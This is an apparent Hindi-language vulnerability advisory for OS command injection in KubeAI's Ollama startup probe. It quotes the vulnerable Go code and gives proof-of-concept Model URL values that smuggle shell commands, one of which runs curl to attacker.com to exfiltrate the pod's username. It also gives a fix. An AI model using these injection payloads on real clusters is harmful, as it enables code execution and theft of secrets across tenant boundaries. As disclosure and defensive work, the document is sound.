
OS कमांड इंजेक्शन KubeAI में Ollama स्टार्टअप प्रोब के मॉडल URL के माध्यम से — CVSS 8.7
गंभीरता: उच्च (CVSS 8.7)
CWE: CWE-78 — OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन
प्रभावित: github.com/kubeai-project/kubeai <= commit ba1824e
परामर्श: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
KubeAI Go में fmt.Sprintf के माध्यम से Model CRD URL घटकों (ref, modelParam) को bash -c कमांड में इंटरपोलेट करके एक Kubernetes स्टार्टअप प्रोब शेल स्क्रिप्ट बनाता है। URL में शेल मेटाकैरेक्टर सैनिटाइज़ नहीं किए जाते हैं, जिससे Model CRD बनाने/अपडेट करने वाले RBAC वाले किसी भी उपयोगकर्ता को मॉडल सर्वर पॉड्स के अंदर मनमाना कमांड निष्पादन मिलता है — बिना cluster-admin विशेषाधिकारों के।
मैं Kubernetes AI inference ऑपरेटरों को देख रहा था — ऐसे टूल जो आपको CRDs बनाकर LLMs को K8s वर्कलोड के रूप में तैनात करने देते हैं। KubeAI Ollama, vLLM और अन्य इंजनों का समर्थन करता है। मेरी परिकल्पना थी: यदि कोई उपयोगकर्ता Model CRDs बना सकता है, तो क्या वे प्रभावित कर सकते हैं कि मॉडल पॉड्स के अंदर क्या चलता है?
vLLM इंजन कोड ने तुरंत सही पैटर्न दिखाया: args को exec को स्ट्रिंग ऐरे के रूप में पास किया गया, कोई शेल शामिल नहीं। इसलिए मैंने तुलना के लिए Ollama इंजन को देखा — और bash -c में फीड होने वाला fmt.Sprintf("%s %s", pullCmd, u.ref) पाया। क्लासिक शेल इंजेक्शन सेटअप।
URL पार्सर regex [^?]+ (? को छोड़कर सब कुछ) ही इसे सील करता है: सेमीकोलन, बैकटिक्स, $() सभी u.ref में मान्य हैं। मैंने PoC YAML लिखा, इसे लागू किया, और मॉडल पॉड के अंदर id > /tmp/pwned निष्पादित होते देखा।
जो बारीकियाँ इसे बढ़ाती हैं: मल्टी-टेनेंट K8s क्लस्टर में, Model CRD RBAC अक्सर उन टीमों को दिया जाता है जो स्पष्ट रूप से नहीं cluster-admins हैं। यह सीमित विशेषाधिकारों वाले टेनेंट को मॉडल पॉड्स में मनमाना कोड निष्पादन का सीधा रास्ता देता है — जिसमें माउंटेड सीक्रेट्स और सेवा खाता टोकन तक पहुंच शामिल है। यह एक विशेषाधिकार सीमा को पार करता है जिसे K8s RBAC को लागू करना चाहिए।
फ़ाइल: internal/modelcontroller/engine_ollama.go, पंक्तियाँ 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref और u.modelParam Model CRD URL फ़ील्ड से आते हैं — उपयोगकर्ता नियंत्रित
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: कोई सैनिटाइज़ेशन नहीं
)
// ...
}
यह स्ट्रिंग फिर इस प्रकार निष्पादित की जाती है:
Command: []string{"bash", "-c", startupProbeScript}
URL पार्सर (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// कैप्चर ग्रुप 2 ([^?]+) '?' को छोड़कर किसी भी वर्ण की अनुमति देता है
// शेल मेटाकैरेक्टर ; | $() ` सभी मान्य हैं
vLLM इंजन के साथ तुलना (सुरक्षित):
// engine_vllm.go — args ऐरे के रूप में पास किए जाते हैं, कोई शेल शामिल नहीं
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Ollama इंजन एक शॉर्टकट लेता है: यह एक बहु-चरणीय शेल पाइपलाइन को स्ट्रिंग के रूप में बनाता है और इसे bash -c को पास करता है। vLLM इंजन exec-शैली तर्क ऐरे का उपयोग करता है। कोई admission webhook या CRD स्कीमा सत्यापन URL फ़ील्ड को सुरक्षित वर्णों तक सीमित नहीं करता है।
poc.yaml देखें — Ollama मॉडल के साथ KubeAI चलाने वाले क्लस्टर पर kubectl apply -f poc.yaml के साथ लागू करें।
वेक्टर 1 — ollama:// URL ref (सेमीकोलन इंजेक्शन):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
जनरेटेड स्टार्टअप प्रोब:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
id>/tmp/pwned चलता है और पॉड के अंदर /tmp/pwned में uid=0(root)... लिखता है।
वेक्टर 2 — ?model= क्वेरी पैरामीटर (OOB एक्सफिल्ट्रेशन):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
जनरेटेड प्रोब:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
पॉड का उपयोगकर्ता नाम हमलावर-नियंत्रित सर्वर पर एक्सफिल्ट्रेट करता है।
Model CRD RBAC वाले किसी भी उपयोगकर्ता के लिएbash -c <string> को एक exec-शैली प्रोब से बदलें जो तर्कों को ऐरे के रूप में पास करता है (जैसा कि vLLM इंजन पहले से करता है), या इंटरपोलेशन से पहले URL फ़ील्ड को ^[a-zA-Z0-9._:/-]+$ के विरुद्ध मान्य करें।